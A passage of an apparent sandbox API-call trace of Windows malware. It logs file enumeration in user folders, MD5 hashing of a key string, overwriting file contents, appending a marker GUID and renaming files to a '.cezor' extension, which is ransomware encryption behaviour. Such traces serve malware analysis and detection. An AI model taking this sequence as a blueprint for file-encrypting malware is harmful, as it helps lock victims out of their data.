dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.632] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.632] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.632] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.632] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.632] GetLastError () returned 0x0 [0061.632] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.632] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x13270) returned 0x3132418 [0061.633] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.633] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1326e, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1326e, lpOverlapped=0x0) returned 1 [0061.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.633] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13273, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.633] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.633] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.633] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.633] CloseHandle (hObject=0x5c4) returned 1 [0061.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2058 [0061.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0061.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2058 | out: hHeap=0x670000) returned 1 [0061.635] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\cpZgjv9AbFGPDH.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\cpzgjv9abfgpdh.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\cpZgjv9AbFGPDH.odt.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\cpzgjv9abfgpdh.odt.cezor")) returned 1 [0061.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.635] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0061.636] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b49dc60, ftCreationTime.dwHighDateTime=0x1d4c979, ftLastAccessTime.dwLowDateTime=0x5eb73f40, ftLastAccessTime.dwHighDateTime=0x1d4cf83, ftLastWriteTime.dwLowDateTime=0x5eb73f40, ftLastWriteTime.dwHighDateTime=0x1d4cf83, nFileSizeHigh=0x0, nFileSizeLow=0xaef7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rBf2xQ.ods", cAlternateFileName="")) returned 1 [0061.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0061.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.636] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\rBf2xQ.ods") returned=".ods" [0061.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\rBf2xQ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\rbf2xq.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.636] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=44791) returned 1 [0061.636] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.639] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xaed1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.639] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.640] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.640] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xaef7, lpOverlapped=0x0) returned 1 [0061.640] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.640] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.640] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.640] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.640] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.641] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.641] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.641] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.641] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.641] GetLastError () returned 0x0 [0061.641] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.641] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xaf00) returned 0x3132418 [0061.641] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.641] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xaef2, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xaef2, lpOverlapped=0x0) returned 1 [0061.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.642] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xaef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.642] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.642] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.642] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.642] CloseHandle (hObject=0x5c4) returned 1 [0061.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x2fd28b0 [0061.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8d0) returned 0x3100c28 [0061.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fd28b0 | out: hHeap=0x670000) returned 1 [0061.643] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\rBf2xQ.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\rbf2xq.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\KevqRYRLai6W-uOAz\\rBf2xQ.ods.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\kevqryrlai6w-uoaz\\rbf2xq.ods.cezor")) returned 1 [0061.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.644] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0061.645] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b49dc60, ftCreationTime.dwHighDateTime=0x1d4c979, ftLastAccessTime.dwLowDateTime=0x5eb73f40, ftLastAccessTime.dwHighDateTime=0x1d4cf83, ftLastWriteTime.dwLowDateTime=0x5eb73f40, ftLastWriteTime.dwHighDateTime=0x1d4cf83, nFileSizeHigh=0x0, nFileSizeLow=0xaef7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rBf2xQ.ods", cAlternateFileName="")) returned 0 [0061.645] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febc48 | out: hHeap=0x670000) returned 1 [0061.645] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.645] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.647] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.647] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.647] PathFindFileNameW (pszPath="") returned="" [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868464a0, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x8b1fe290, ftLastAccessTime.dwHighDateTime=0x1d4ca64, ftLastWriteTime.dwLowDateTime=0x8b1fe290, ftLastWriteTime.dwHighDateTime=0x1d4ca64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.647] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868464a0, ftCreationTime.dwHighDateTime=0x1d4ccd9, ftLastAccessTime.dwLowDateTime=0x8b1fe290, ftLastAccessTime.dwHighDateTime=0x1d4ca64, ftLastWriteTime.dwLowDateTime=0x8b1fe290, ftLastWriteTime.dwHighDateTime=0x1d4ca64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.647] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b23400, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0xe097b40, ftLastAccessTime.dwHighDateTime=0x1d4c9ab, ftLastWriteTime.dwLowDateTime=0xe097b40, ftLastWriteTime.dwHighDateTime=0x1d4c9ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aqq4ZugPM-uIfNTNxref", cAlternateFileName="AQQ4ZU~1")) returned 1 [0061.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e268 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dab0 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febc48 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febd00 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0061.648] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7e8e20, ftCreationTime.dwHighDateTime=0x1d4c5b3, ftLastAccessTime.dwLowDateTime=0x78f63b80, ftLastAccessTime.dwHighDateTime=0x1d4c9df, ftLastWriteTime.dwLowDateTime=0x78f63b80, ftLastWriteTime.dwHighDateTime=0x1d4c9df, nFileSizeHigh=0x0, nFileSizeLow=0x11962, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B2EsvKtcKir28U.mkv", cAlternateFileName="B2ESVK~1.MKV")) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0061.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.648] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\B2EsvKtcKir28U.mkv") returned=".mkv" [0061.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\B2EsvKtcKir28U.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\b2esvktckir28u.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.648] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=72034) returned 1 [0061.648] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.651] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1193c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, 